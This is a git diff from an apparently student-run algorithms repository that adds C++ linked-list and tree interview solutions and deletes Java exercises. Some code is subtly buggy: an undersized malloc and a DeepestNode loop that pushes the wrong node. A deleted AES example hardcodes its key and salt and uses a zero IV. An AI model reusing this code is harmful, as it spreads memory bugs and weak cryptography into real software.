+ } + + case 2: + { + Insert_At_Begin(); + break; + } + + case 3: + { + Insert_At_End(); + break; + } + + case 4: + { + int Position; + cout<<"\nEnter Position of Node to be Inserted : "; + cin>>Position; + + Insert_At_Position(Position); + break; + } + + case 5: + { + Delete_At_Begin(); + break; + } + + case 6: + { + Delete_At_End(); + break; + } + + case 7: + { + int position; + cout<<"\nEnter Position of Node to be Deleted : "; + cin>>position; + + Delete_At_Position(position); + break; + } + + case 8: + { + Display(); + break; + } + + case 9: + { + exit(0); + } + default: + { + cout << "Error" << endl; + break; + } + } + + } while (n != 9); + + return 0; +} diff --git a/Add Code Here/Interview Problems/Linked_List/Nth_Node_from_end_of_linked_list.cpp b/Add Code Here/Interview Problems/Linked_List/Nth_Node_from_end_of_linked_list.cpp new file mode 100644 index 00000000000..7a5900a7f81 --- /dev/null +++ b/Add Code Here/Interview Problems/Linked_List/Nth_Node_from_end_of_linked_list.cpp @@ -0,0 +1,134 @@ +#include +using namespace std; + +struct node +{ + int data; + struct node *next; +}; +struct node *head = NULL; + +struct node *newnode, *temp; + +void Insert() +{ + newnode = (struct node *)malloc(sizeof(struct node *)); + + cout<<"Enter the Data to be inserted : "; + cin>>newnode->data; + + newnode->next = NULL; + + if(head == NULL) + { + head = temp = newnode; + } + else + { + temp->next = newnode; + temp = newnode; + } +} + +int getNthNodeFromLast(int k) +{ + struct node *Current; + + if(head == NULL) + { + return -1; + } + + int cnt = 0; + + temp = head; + while(temp != NULL) + { + cnt++; + temp = temp->next; + } + + int diff = cnt - k; + + if(k > cnt) + { + return -1; + } + + Current = head; + while(diff--) + { + Current =Current->next; + } + + int ans = Current->data; + + return ans; +} + +void Display() +{ + temp = head; + + while( temp != NULL) + { + cout<data<<" "; + temp = temp ->next; + } + cout<> n; + + switch (n) + { + case 1: + { + Insert(); + break; + } + + case 2: + { + int Position; + cout<<"\nEnter Position To find the Node From End : "; + cin>>Position; + + cout<<"Node at Position "< +using namespace std; + +/* Link list Node */ + +struct Node +{ + int data; + struct Node *next; + Node(int x) + { + data = x; + next = NULL; + } +}; + +class Solution +{ +public: + // Main Logic + struct Node *reverseList(struct Node *head) + { + struct Node *prev, *next, *ptr; + prev = NULL; + ptr = head; + + while (ptr != NULL) + { + next = ptr->next; + ptr->next = prev; + prev = ptr; + ptr = next; + } + head = prev; + return head; + } +}; + +void printList(struct Node *head) +{ + struct Node *temp = head; + while (temp != NULL) + { + printf("%d ", temp->data); + temp = temp->next; + } +} + +/* Driver program to test above function*/ +int main() +{ + int n, l, firstdata; + + struct Node *head = NULL, *tail = NULL; + + cout << "Enter the Size of LL : "; + cin >> n; + + cout << endl + << "Enter the Root Node of LL : "; + cin >> firstdata; + head = new Node(firstdata); + tail = head; + + for (int i = 1; i < n; i++) + { + cin >> l; + tail->next = new Node(l); + tail = tail->next; + } + + Solution ob; + head = ob.reverseList(head); + + printList(head); + cout << endl; + return 0; +} diff --git a/Add Code Here/Interview Problems/Tree_Problems/DeepestNode_tree.cpp b/Add Code Here/Interview Problems/Tree_Problems/DeepestNode_tree.cpp new file mode 100644 index 00000000000..1f0559fadd1 --- /dev/null +++ b/Add Code Here/Interview Problems/Tree_Problems/DeepestNode_tree.cpp @@ -0,0 +1,84 @@ +/* + + 10 + / \ + 2 3 + / \ / \ + 7 8 12 15 + / + 14 + O/P: 10 7 8 12 15 +*/ + +#include +using namespace std; + +struct Node +{ + int data; + struct Node *left; + struct Node *right; +}; + +// create the binary tree +struct Node* Tree(int value) +{ + // initialize the memory for newnode + Node* Binary = (struct Node *)malloc(sizeof(struct Node)); + + Binary->data = value; + // left and right subtree should be null + Binary->left = NULL; + Binary->right = NULL; + + return(Binary); +} + +Node* DeepestNode(Node *root) +{ + struct Node * temp; + if(root == NULL) + { + return 0; + } + + queueq; + q.push(root); + + while(!q.empty()) + { + temp = q.front(); + q.pop(); + + if(root->left) + { + q.push(root->left); + } + + if(root->right) + { + q.push(root->right); + } + } + q.pop(); + return temp; +} + +int main() +{ + // root node + Node *root = Tree(10); + + root->left = Tree(2); + root->right = Tree(3); + root->left->left = Tree(7); + root->left->right = Tree(8); + root->right->right = Tree(15); + root->right->left = Tree(12); + root->right->right->left = Tree(14); + + + cout< +using namespace std; + +struct Node +{ + int data; + struct Node *left; + struct Node *right; +}; + +// create the binary tree +struct Node* Tree(int value) +{ + // initialize the memory for newnode + Node* Binary = (struct Node *)malloc(sizeof(struct Node)); + + Binary->data = value; + // left and right subtree should be null + Binary->left = NULL; + Binary->right = NULL; + + return(Binary); +} + +int Height(Node *root) +{ + int total_height; + if(root == NULL) + { + return 0; + } + else + { + int Left = Height(root->left); + int Right = Height(root->right); + + if(Left > Right) + { + total_height = Left; + } + else + { + total_height = Right; + } + } + + return total_height + 1; +} + +int main() +{ + // root node + Node *root = Tree(10); + + // child nodes of the tree + root->left = Tree(2); + root->right = Tree(3); + root->left->left = Tree(7); + root->left->right = Tree(8); + root->right->right = Tree(15); + root->right->left = Tree(12); + root->right->right->left = Tree(14); + + cout<<"Height of the Tree is "< +using namespace std; + +class Node +{ + public: + int data; + Node *left; + Node *right; + + Node(int x) + { + this->data = x; + this->left = NULL; + this->right = NULL; + } +}; + +Node *CreateTree(Node *root) +{ + int data; + cout<<"Enter the Data in Root Node : "; + cin>>data; + + root = new Node(data); + + if(data == -1) + { + return NULL; + } + + cout<<"Enter the Data for Insert in Left : "<left = CreateTree(root->left); + + cout<<"Enter the Data for Insert in Right : "<right = CreateTree(root->right); + + return root; +} + +// L -> Root -> R +void InOrder(Node *root) +{ + stacks; + Node *ptr = root; + + while(ptr != NULL || s.empty() == false) + { + // reach the left node of the ptr node + while(ptr != NULL) + { + // place the pointer for traversing in left subtree + s.push(ptr); + ptr = ptr->left; + } + + ptr = s.top(); + s.pop(); + cout<data<<" "; + + // we have visited the node and its left subtree + // now we have visit right subtree + ptr = ptr->right; + } +} + +int main() +{ + Node *root = NULL; + + root = CreateTree(root); + + InOrder(root); + return 0; +} \ No newline at end of file diff --git a/Add Code Here/Interview Problems/Tree_Problems/InOrder_Recurssive.cpp b/Add Code Here/Interview Problems/Tree_Problems/InOrder_Recurssive.cpp new file mode 100644 index 00000000000..9412a658ea5 --- /dev/null +++ b/Add Code Here/Interview Problems/Tree_Problems/InOrder_Recurssive.cpp @@ -0,0 +1,85 @@ +// Creation of Binary Tree + +// Create the Following Binary Tree and find Inorder traversal +/* + + 1 + / \ + / \ + 3 5 + / \ / \ + / \ / \ + 7 11 17 NULL(-1) + + InOrder Traversal - 7 3 11 1 17 5 + +*/ + +#include +using namespace std; + +//create the class +class Node +{ + public: + int data; + Node *left; + Node *right; + + Node(int d) + { + this ->data = d; + this ->left = NULL; + this ->right = NULL; + } +}; + +// create the binary tree +Node *CreateTree(Node *root) +{ + int data; + + cout<<"Enter the Root Node : "<>data; + + // initialize the memory for rroot node + root = new Node(data); + + // if node + if(data == -1) + { + return NULL; + } + + cout<<"Enter Data for Insert In Left Node of "<left = CreateTree(root->left); // recursive statement + + cout<<"Enter Data for Insert In Right Node of "<right = CreateTree(root->right); // recursive statement + + return root; +} + +// Inorder traversal +// Left -> Root Node -> Right + +void InOrder(Node *root) +{ + if(root) + { + InOrder(root->left); + cout<data<<" "; + InOrder(root->right); + } +} + +int main() +{ + Node *root = NULL; + + // creating the tree + root = CreateTree(root); + + InOrder(root); + return 0; +} \ No newline at end of file diff --git a/Add Code Here/Interview Problems/Tree_Problems/MorisTraversal.cpp b/Add Code Here/Interview Problems/Tree_Problems/MorisTraversal.cpp new file mode 100644 index 00000000000..154cdfda9c5 --- /dev/null +++ b/Add Code Here/Interview Problems/Tree_Problems/MorisTraversal.cpp @@ -0,0 +1,108 @@ +/* + + 10 + / \ + 2 3 + / \ / \ + 7 8 12 15 + / + 14 + +O/P: 10 2 7 14 +*/ + +#include +using namespace std; + +struct Node +{ + int data; + struct Node *left; + struct Node *right; +}; + +// create the binary tree +struct Node* Tree(int value) +{ + // initialize the memory for newnode + Node* Binary = (struct Node *)malloc(sizeof(struct Node)); + + Binary->data = value; + // left and right subtree should be null + Binary->left = NULL; + Binary->right = NULL; + + return(Binary); +} + +void MorisTraversal(Node *root) +{ + Node * current, *pre; + + // base condition + if(root == NULL) + { + return; + } + + // make current points to root + current = root; + + while(current != NULL) + { + if(current->left == NULL) + { + cout<data<<" "; + current = current->right; + } + else + { + pre = current->left; + + while(pre->right != NULL && pre->right != current) + pre = pre->right; + + if(pre->right == NULL) + { + pre->right = current; + current = current ->left; + } + else + { + pre->right = NULL; + cout<data<<" "; + current = current->right; + } + } + } +} + + +void InOrderTraversal(Node *root) +{ + if(root) + { + InOrderTraversal(root->left); + cout<data<<" "; + InOrderTraversal(root->right); + } +} + +int main() +{ + // root node + Node *root = Tree(10); + + root->left = Tree(2); + root->right = Tree(3); + root->left->left = Tree(7); + root->left->right = Tree(8); + root->right->right = Tree(15); + root->right->left = Tree(12); + root->right->right->left = Tree(14); + + MorisTraversal(root); + cout< +using namespace std; + +class Node +{ + public: + int data; + Node *left; + Node *right; + + Node(int x) + { + this->data = x; + this->left = NULL; + this->right = NULL; + } +}; + +Node *CreateTree(Node *root) +{ + int data; + cout<<"Enter the Data in Root Node : "; + cin>>data; + + root = new Node(data); + + if(data == -1) + { + return NULL; + } + + cout<<"Enter the Data for Insert in Left : "<left = CreateTree(root->left); + + cout<<"Enter the Data for Insert in Right : "<right = CreateTree(root->right); + + return root; +} + +// L -> R -> Root +void PostOrder(Node* root) +{ + if(root) + { + PostOrder(root->left); + PostOrder(root->right); + cout<data<<" "; + } +} + +int main() +{ + Node *root = NULL; + + root = CreateTree(root); + + PostOrder(root); + return 0; +} \ No newline at end of file diff --git a/Add Code Here/Interview Problems/Tree_Problems/PreOrder_Iterative.cpp b/Add Code Here/Interview Problems/Tree_Problems/PreOrder_Iterative.cpp new file mode 100644 index 00000000000..e2076a0d0e5 --- /dev/null +++ b/Add Code Here/Interview Problems/Tree_Problems/PreOrder_Iterative.cpp @@ -0,0 +1,97 @@ +#include +using namespace std; + +/* + 10 + / \ + 8 2 + / \ / + 3 5 2 + + PreOrder - 10 8 3 5 2 2 +*/ + +class Node +{ + public: + int data; + Node *left; + Node *right; + + Node(int x) + { + this->data = x; + this->left = NULL; + this->right = NULL; + } +}; + +Node *CreateTree(Node *root) +{ + int data; + cout<<"Enter the Data in Root Node : "; + cin>>data; + + root = new Node(data); + + if(data == -1) + { + return NULL; + } + + cout<<"Enter the Data for Insert in Left : "<left = CreateTree(root->left); + + cout<<"Enter the Data for Insert in Right : "<right = CreateTree(root->right); + + return root; +} + +// Root -> L -> R +void PreOrder_Iterative(Node* root) +{ + // Base case + if(root == NULL) + { + return; + } + + // create empty stack and push root to it + stacks; + s.push(root); + + /* Pop all items one by one. Do following for every popped item + a) print it + b) push its right child + c) push its left child + Note that right child is pushed first so that left is processed first */ + while( !s.empty()) + { + Node *temp = s.top(); + cout<data<<" "; + + s.pop(); + + if(temp ->right) + { + s.push(temp->right); + } + + if(temp ->left) + { + s.push(temp->left); + } + } +} + +int main() +{ + Node *root = NULL; + + root = CreateTree(root); + + // preorder traversal + PreOrder_Iterative(root); + return 0; +} \ No newline at end of file diff --git a/Add Code Here/Interview Problems/Tree_Problems/PreOrder_Recurssive.cpp b/Add Code Here/Interview Problems/Tree_Problems/PreOrder_Recurssive.cpp new file mode 100644 index 00000000000..ea7916569b9 --- /dev/null +++ b/Add Code Here/Interview Problems/Tree_Problems/PreOrder_Recurssive.cpp @@ -0,0 +1,71 @@ +#include +using namespace std; + +/* + 10 + / \ + 8 2 + / \ / + 3 5 2 + + PreOrder - 10 8 3 5 2 2 +*/ + +class Node +{ + public: + int data; + Node *left; + Node *right; + + Node(int x) + { + this->data = x; + this->left = NULL; + this->right = NULL; + } +}; + +Node *CreateTree(Node *root) +{ + int data; + cout<<"Enter the Data in Root Node : "; + cin>>data; + + root = new Node(data); + + if(data == -1) + { + return NULL; + } + + cout<<"Enter the Data for Insert in Left : "<left = CreateTree(root->left); + + cout<<"Enter the Data for Insert in Right : "<right = CreateTree(root->right); + + return root; +} + +// Root -> L -> R +void PreOrder(Node* root) +{ + if(root) + { + cout<data<<" "; + PreOrder(root->left); + PreOrder(root->right); + } +} + +int main() +{ + Node *root = NULL; + + root = CreateTree(root); + + // preorder traversal + PreOrder(root); + return 0; +} \ No newline at end of file diff --git a/Add Code Here/Interview Problems/Tree_Problems/Print_in_ZigZag_order.cpp b/Add Code Here/Interview Problems/Tree_Problems/Print_in_ZigZag_order.cpp new file mode 100644 index 00000000000..da9ccadbba5 --- /dev/null +++ b/Add Code Here/Interview Problems/Tree_Problems/Print_in_ZigZag_order.cpp @@ -0,0 +1,119 @@ +/* + + 7 + / \ + 9 7 + / \ / + 8 8 6 + / \ + 10 9 +Output: +7 7 9 8 8 6 9 10 + +*/ + +#include +using namespace std; + +struct Node +{ + int data; + struct Node *left; + struct Node *right; +}; + +struct Node* Binary_Tree(int value) +{ + struct Node* Newnode = (struct Node *)malloc(sizeof(struct Node)); + + Newnode->data = value; + + // left and right subtree it points to the NULL + Newnode->left = NULL; + Newnode->right = NULL; + + return Newnode; +} + +vectorZigZag(Node *root) +{ + // crete the ans vector + vectorResult; + + // base condition + if(root == NULL) + { + return Result; + } + + // maintain flag variable to change the direction + bool LeftToRight = true; + + queueq; + q.push(root); + + // traverse the loop until queue is empty + while(!q.empty()) + { + int size = q.size(); + vectorans(size); + + // traverse upto size of the current queue + for(int i=0; idata; + + if(temp->left) + { + q.push(temp->left); + } + + if(temp->right) + { + q.push(temp->right); + } + } + // outside of thr loop we have to negate the flag variable + // once the insertion perform change the direction + LeftToRight = !LeftToRight; + + for(auto it:ans) + { + Result.push_back(it); + } + + } + return Result; +} + +int main() +{ + // root node + Node *root = Binary_Tree(7); + + root->left = Binary_Tree(9); + root->right = Binary_Tree(7); + + root->left->left = Binary_Tree(8); + root->left->right = Binary_Tree(8); + + root->right->left = Binary_Tree(6); + root->left->left->left = Binary_Tree(10); + root->left->left->right = Binary_Tree(9); + + vectoranswer = ZigZag(root); + for(auto it: ZigZag(root)) + { + cout< +using namespace std; + +struct Node +{ + int data; + struct Node *left; + struct Node *right; +}; + +struct Node* Binary_Tree(int value) +{ + struct Node* Newnode = (struct Node *)malloc(sizeof(struct Node)); + + Newnode->data = value; + + // left and right subtree it points to the NULL + Newnode->left = NULL; + Newnode->right = NULL; + + return Newnode; +} +/* + + 7 + / \ + 9 7 + / \ / + 8 8 6 + / \ + 10 9 +Output: +7 7 9 8 8 6 9 10 + +*/ +vectorSpiral(Node *root) +{ + vectorResult; + + // base condition + if(root == NULL) + { + return Result; + } + + // flag variable + bool LeftToRight = false; + + queueq; + // insert the root node of the tree + q.push(root); + + // traverse the loop + while(!q.empty()) + { + int size = q.size(); + vectorans(size); + + // traverse the loop upto size + for(int i = 0; idata; + + if(temp->left) + { + q.push(temp->left); + } + + if(temp->right) + { + q.push(temp->right); + } + + } + + LeftToRight = !LeftToRight; + + for(auto it:ans) + { + Result.push_back(it); + } + + } + return Result; + +} + +/* + + 7 + / \ + 9 7 + / \ / + 8 8 6 + / \ + 10 9 +Output: +7 9 7 6 8 8 10 9 + +*/ + +int main() +{ + // root node + Node *root = Binary_Tree(7); + + root->left = Binary_Tree(9); + root->right = Binary_Tree(7); + + root->left->left = Binary_Tree(8); + root->left->right = Binary_Tree(8); + + root->right->left = Binary_Tree(6); + root->left->left->left = Binary_Tree(10); + root->left->left->right = Binary_Tree(9); + + vectorAns = Spiral(root); + + for(auto it:Spiral(root)) + { + cout< +using namespace std; + +// A Binary Tree Node +struct Node { + struct Node *left; + int key; + struct Node *right; +}; + +// Utility function to create new Node +Node* newNode(int key) +{ + Node* temp = new Node; + temp->key = key; + temp->left = temp->right = NULL; + return (temp); +} + +// Returns true if trees with roots as root1 and root2 are mirror + +bool isMirror(struct Node* root1, struct Node* root2) +{ + // If both trees are empty, then they are mirror images + if (root1 == NULL && root2 == NULL) + return true; + + // For two trees to be mirror images, the following + // three conditions must be true + // 1.) Their root node's key must be same + // 2.) left subtree of left tree and right subtree of right tree have to be mirror images + // 3.) right subtree of left tree and left subtree of right tree have to be mirror images + if (root1 && root2 && root1->key == root2->key) + { + bool Left = isMirror(root1->left, root2->right); + bool Right = isMirror(root1->right, root2->left); + + return Left && Right; + } + + // if none of above conditions is true then root1 + // and root2 are not mirror images + return false; +} + +// Returns true if a tree is symmetric i.e. mirror image of itself +bool isSymmetric(struct Node* root) +{ + // Check if tree is mirror of itself + return isMirror(root, root); +} + +int main() +{ + // Let us construct the Tree shown in the above figure + Node* root = newNode(1); + root->left = newNode(2); + root->right = newNode(2); + root->left->left = newNode(3); + root->left->right = newNode(4); + root->right->left = newNode(4); + root->right->right = newNode(3); + + if (isSymmetric(root)) + cout << "Symmetric"; + else + cout << "Not symmetric"; + return 0; +} \ No newline at end of file diff --git a/Add Code Here/Interview Problems/Tree_Problems/print_Ancestors.cpp b/Add Code Here/Interview Problems/Tree_Problems/print_Ancestors.cpp new file mode 100644 index 00000000000..7f8aba26518 --- /dev/null +++ b/Add Code Here/Interview Problems/Tree_Problems/print_Ancestors.cpp @@ -0,0 +1,74 @@ +#include +using namespace std; + +/* +given tree follow the below paths + + + +*/ + +struct Node +{ + struct Node *left; + int data; + struct Node *right; +}; + +struct Node *BinaryTree(int value) +{ + // memory initialization + struct Node* Newnode =(struct Node*)malloc(sizeof(struct Node)); + + Newnode->data = value; + + // left and right subtree + Newnode->left = NULL; + Newnode->right = NULL; + + return(Newnode); +} + +int print_All_Ancestors(struct Node *root, int node) +{ + // base case + if(root == NULL) + { + return 0; + } + + if(root->data == node) + { + // it prints the target node as well + cout<data<<" "; + return 1; + } + + if(print_All_Ancestors(root->left, node) || print_All_Ancestors(root->right, node)) + { + // it will print all the ancestors of the target node + cout<data<<" "; + return 1; + } + return 0; +} + +int main() +{ + // root node + Node *root = BinaryTree(10); + + root->left = BinaryTree(2); + root->right = BinaryTree(3); + root->left->left = BinaryTree(7); + root->left->right = BinaryTree(8); + root->right->right = BinaryTree(15); + root->right->left = BinaryTree(12); + root->right->right->left = BinaryTree(14); + + int arr[1000]; + Node *node = BinaryTree(14); + print_All_Ancestors(root, 14); + + return 0; +} \ No newline at end of file diff --git a/Add Code Here/JAVA/0-1Knapsack.java b/Add Code Here/JAVA/0-1Knapsack.java deleted file mode 100644 index 7985b8ad844..00000000000 --- a/Add Code Here/JAVA/0-1Knapsack.java +++ /dev/null @@ -1,45 +0,0 @@ -import java.util.*; -public class Solution -{ - public static int maxsteal(int index,int bagweight,int[] weight, int[] value,int[][]dp) - { - if(index==0) - { - if(weight[0]<=bagweight) - { - return value[0]; - } - else - { - return 0; - } - } - if(dp[index][bagweight]!=-1) - { - return dp[index][bagweight]; - } - int take=Integer.MIN_VALUE; - int nottake=0+maxsteal(index-1,bagweight,weight,value,dp); - - //Now check conditions for take - if(weight[index]<=bagweight) - { - take=value[index]+maxsteal(index-1,bagweight-weight[index],weight,value,dp); - } - - return dp[index][bagweight]=Math.max(take,nottake); - } - static int knapsack(int[] weight, int[] value, int n, int maxWeight) - { - //Pick and Dont pick Concept - //DP Approach - //Since we have two parameters changing - int[][]dp=new int[n][maxWeight+1]; - for (int i = 0; i < n; i++) - { - Arrays.fill(dp[i], -1); - } - return maxsteal(n-1,maxWeight,weight,value,dp); - - } -} diff --git a/Add Code Here/JAVA/1-bit-2-bit-characters.java b/Add Code Here/JAVA/1-bit-2-bit-characters.java deleted file mode 100644 index f58ff16a1bb..00000000000 --- a/Add Code Here/JAVA/1-bit-2-bit-characters.java +++ /dev/null @@ -1,12 +0,0 @@ -class Solution { - public boolean isOneBitCharacter(int[] bits) { - int idx = 0; - while (idx < bits.length - 1) { - if (bits[idx] != 0) { - idx++; - } - idx++; - } - return idx == bits.length - 1; - } -} diff --git a/Add Code Here/JAVA/AES.java b/Add Code Here/JAVA/AES.java deleted file mode 100644 index f50456d149d..00000000000 --- a/Add Code Here/JAVA/AES.java +++ /dev/null @@ -1,89 +0,0 @@ -import javax.crypto.Cipher; -import javax.crypto.SecretKey; -import javax.crypto.SecretKeyFactory; -import javax.crypto.spec.IvParameterSpec; -import javax.crypto.spec.PBEKeySpec; -import javax.crypto.spec.SecretKeySpec; -import java.nio.charset.StandardCharsets; -import java.security.InvalidAlgorithmParameterException; -import java.security.InvalidKeyException; -import java.security.NoSuchAlgorithmException; -import java.security.spec.InvalidKeySpecException; -import java.security.spec.KeySpec; -import java.util.Base64; -import javax.crypto.BadPaddingException; -import javax.crypto.IllegalBlockSizeException; -import javax.crypto.NoSuchPaddingException; -public class AESExample -{ - /* Private variable declaration */ - private static final String SECRET_KEY = "123456789"; - private static final String SALTVALUE = "abcdefg"; - - /* Encryption Method */ - public static String encrypt(String strToEncrypt) - { - try - { - /* Declare a byte array. */ - byte[] iv = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; - IvParameterSpec ivspec = new IvParameterSpec(iv); - /* Create factory for secret keys. */ - SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256"); - /* PBEKeySpec class implements KeySpec interface. */ - KeySpec spec = new PBEKeySpec(SECRET_KEY.toCharArray(), SALTVALUE.getBytes(), 65536, 256); - SecretKey tmp = factory.generateSecret(spec); - SecretKeySpec secretKey = new SecretKeySpec(tmp.getEncoded(), "AES"); - Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); - cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivspec); - /* Retruns encrypted value. */ - return Base64.getEncoder() -.encodeToString(cipher.doFinal(strToEncrypt.getBytes(StandardCharsets.UTF_8))); - } - catch (InvalidAlgorithmParameterException | InvalidKeyException | NoSuchAlgorithmException | InvalidKeySpecException | BadPaddingException | IllegalBlockSizeException | NoSuchPaddingException e) - { - System.out.println("Error occured during encryption: " + e.toString()); - } - return null; - } - - /* Decryption Method */ - public static String decrypt(String strToDecrypt) - { - try - { - /* Declare a byte array. */ - byte[] iv = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; - IvParameterSpec ivspec = new IvParameterSpec(iv); - /* Create factory for secret keys. */ - SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256"); - /* PBEKeySpec class implements KeySpec interface. */ - KeySpec spec = new PBEKeySpec(SECRET_KEY.toCharArray(), SALTVALUE.getBytes(), 65536, 256); - SecretKey tmp = factory.generateSecret(spec); - SecretKeySpec secretKey = new SecretKeySpec(tmp.getEncoded(), "AES"); - Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); - cipher.init(Cipher.DECRYPT_MODE, secretKey, ivspec); - /* Retruns decrypted value. */ - return new String(cipher.doFinal(Base64.getDecoder().decode(strToDecrypt))); - } - catch (InvalidAlgorithmParameterException | InvalidKeyException | NoSuchAlgorithmException | InvalidKeySpecException | BadPaddingException | IllegalBlockSizeException | NoSuchPaddingException e) - { - System.out.println("Error occured during decryption: " + e.toString()); - } - return null; - } - /* Driver Code */ - public static void main(String[] args) - { - /* Message to be encrypted. */ - String originalval = "AES Encryption"; - /* Call the encrypt() method and store result of encryption. */ - String encryptedval = encrypt(originalval); - /* Call the decrypt() method and store result of decryption. */ - String decryptedval = decrypt(encryptedval); - /* Display the original message, encrypted message and decrypted message on the console. */ - System.out.println("Original value: " + originalval); - System.out.println("Encrypted value: " + encryptedval); - System.out.println("Decrypted value: " + decryptedval); - } -} diff --git a/Add Code Here/JAVA/ATM_Transaction.java b/Add Code Here/JAVA/ATM_Transaction.java deleted file mode 100644 index c6a58f8b0cc..00000000000 --- a/Add Code Here/JAVA/ATM_Transaction.java +++ /dev/null @@ -1,50 +0,0 @@ -import java.util.Scanner; - -public class ATM_Transaction{ - public static void main(String[] args){ - int balance = 999999; - int password = 7895, choose_no,withdraw, deposit; - - Scanner s = new Scanner(System.in); - - System.out.print("Please enter your password: "); - int check_pw = s.nextInt(); - - if(check_pw == 7895){ - while(true){ - System.out.println("-------Automated Teller Machine-------"); - System.out.println(" Type 1 - Check Balance "); - System.out.println(" Type 2 - Withdraw Money "); - System.out.println(" Type 3 - Deposit Money "); - System.out.println(" Type 4 - EXIT "); - System.out.print("Choose the operation you want: "); - choose_no = s.nextInt(); - - switch(choose_no){ - case 1: System.out.println("Your current balance is: "+balance); - break; - case 2: System.out.println("Enter the withdrawl money amount: "); - withdraw = s.nextInt(); - if(balance >= withdraw){ - balance = balance-withdraw; - System.out.println("Please collect your money"); - } - else{ - System.out.println("Insufficient Balance"); - } - break; - case 3: System.out.println("Enter the deposit money amount: "); - withdraw = s.nextInt(); - balance = balance + withdraw; - System.out.println("Your money has been successfully deposited"); - break; - case 4: System.exit(0); - } - } - } - else{ - System.out.println("Incorrect Password"); - } - } -} -//happy coding diff --git a/Add Code Here/JAVA/AdjacencyList.java b/Add Code Here/JAVA/AdjacencyList.java deleted file mode 100644 index e5eba9818fc..00000000000 --- a/Add Code Here/JAVA/AdjacencyList.java +++ /dev/null @@ -1,37 +0,0 @@ -import java.util.ArrayList; - -public class AdjacencyList { - public static void main(String[] args) { - int n=3,m=3; - ArrayList> adj = new ArrayList>(); - - //n+1 - for(int i=0;i<=n;i++) - { - adj.add(new ArrayList()); - } - //edge 1---2 - adj.get(1).add(2); - adj.get(2).add(1); - - // adj.get(u).add(v); - // adj.get(v).add(u); - - //edge 2---3 - adj.get(2).add(3); - adj.get(3).add(2); - - //edge 1--3 - adj.get(1).add(3); - adj.get(3).add(1); - - for(int i=0;i arr, int n, int m) { + // If the number of students is greater than the number of books, it's not possible. + if (m > n) return -1; + + // Initialize the search space boundaries. + int low = Collections.max(arr); // The minimum number of pages in a book. + int high = arr.stream().mapToInt(Integer::intValue).sum(); // The sum of all pages in all books. + + // Perform binary search to find the minimum maximum number of pages a student can read. + while (low <= high) { + int mid = low + (high - low) / 2; + + // Count how many students are needed to read the books with the given maximum pages. + int numberOfStudents = countStudents(arr, n, m, mid); + + if (numberOfStudents > m) { + // If more students are needed, increase the maximum pages allowed. + low = mid + 1; + } else { + // If fewer or equal students are needed, decrease the maximum pages allowed. + high = mid - 1; + } + } + return low; // The minimum maximum pages a student can read. + } + + public static int countStudents(ArrayList arr, int n, int m, int pages) { + int students = 1; // Initialize with 1 student. + int minPages = 0; + + for (int i = 0; i < n; i++) { + if (minPages + arr.get(i) <= pages) { + // If the current book can be read by the current student, add its pages. + minPages += arr.get(i); + } else { + // If the current book can't be read by the current student, assign it to a new student. + students++; + minPages = arr.get(i); + } + } + return students; // Return the total number of students needed for the given maximum pages. + } +} \ No newline at end of file diff --git a/Add Code Here/JAVA/AllocateMinimunPages.java b/Add Code Here/JAVA/AllocateMinimunPages.java deleted file mode 100644 index 8636a0ad814..00000000000 --- a/Add Code Here/JAVA/AllocateMinimunPages.java +++ /dev/null @@ -1,58 +0,0 @@ -//allocate minimum number of pages problem - Given number of pages in n different books and m students. The books are arranged in ascending order of number of pages. Every student is assigned to read some consecutive books. -// The task is to assign books in such a way that the maximum number of pages assigned to a student is minimum. -//For Ex - n=5 (Length of array), m = 2(no.of students), arr[] = [10, 20, 5, 15, 5] -//Possible allocations - 10 and (20,5,15,5) -> Max - 45 -// - (10, 20) and (5, 15, 5) -> Max - 30 -// - (10, 20, 5) and (15, 5) -> Max - 35 -//Minimum from all these maz is 30 so output -> 30 - import java.util.Scanner; - -public class AllocateMinimunPages { - public static void main(String[] args) { //main function - Scanner sc = new Scanner(System.in); - int n = sc.nextInt(); - int m = sc.nextInt(); //taking inputs - int arr[] = new int[n]; - for (int i = 0; i < n; i++) { - arr[i] = sc.nextInt(); - } - System.out.println("Minimun number of pages " + findPages(arr, n, m)); - } - - public static int findPages(int arr[], int n, int m) { - int sum = 0; - if (n < m) return -1; // return -1 if no. of books is less than no. of students - for (int i = 0; i < n; i++) sum += arr[i]; // Count total number of pages - int min = arr[n - 1]; - int max = sum; - int result = Integer.MAX_VALUE; - while (min <= max) { //Using Binary Search - int mid = min + (max - min) / 2; // check if it is possible to distribute books by using mid is current minimum - if (isFeasible(arr, n, m, mid)) { - result = mid; // update result to current distribution as it's the best we have found till now - max = mid - 1; - } else { - min = mid + 1; - } - } - return result; - } - - static boolean isFeasible(int arr[], int n, int m, int curr_min) { // method to check if current minimum value is feasible or not - int studentsRequired = 1; - int curr_sum = 0; - for (int i = 0; i < n; i++) { - curr_sum += arr[i]; - if (curr_sum > curr_min) { - studentsRequired++; // increment student count - - curr_sum = arr[i]; // update curr_sum - } - } - - return studentsRequired <= m; - } -} - -//Time Complexity - O(nlogn) -//Space Complexity - O(1) diff --git a/Add Code Here/JAVA/AmstrongNumber_Checking.java b/Add Code Here/JAVA/AmstrongNumber_Checking.java deleted file mode 100644 index 880d4d25e1d..00000000000 --- a/Add Code Here/JAVA/AmstrongNumber_Checking.java +++ /dev/null @@ -1,43 +0,0 @@ -import java.util.*; -import java.lang.Math; -public class Main -{ - static boolean isArmstrong(int n) - { - int t1, dig=0, l1=0, sum=0; - t1=n; - - while(t1>0) - { - t1 = t1/10; - dig++; - } - t1 = n; - while(t1>0) - { - l1 = t1 % 10; - sum += (Math.pow(l1, dig)); - t1 = t1/10; - } - if(n==sum) - return true; - else - return false; - } - //driver code - public static void main(String args[]) - { - int numb; - Scanner sc= new Scanner(System.in); - System.out.print("Enter the numbber: "); - numb=sc.nextInt(); - if(isArmstrong(numb)) - { - System.out.print("Armstrong "); - } - else - { - System.out.print("Not Armstrong "); - } - } -} diff --git a/Add Code Here/JAVA/Android fingerprint dsa algorithm.java b/Add Code Here/JAVA/Android fingerprint dsa algorithm.java deleted file mode 100644 index 70790dada09..00000000000 --- a/Add Code 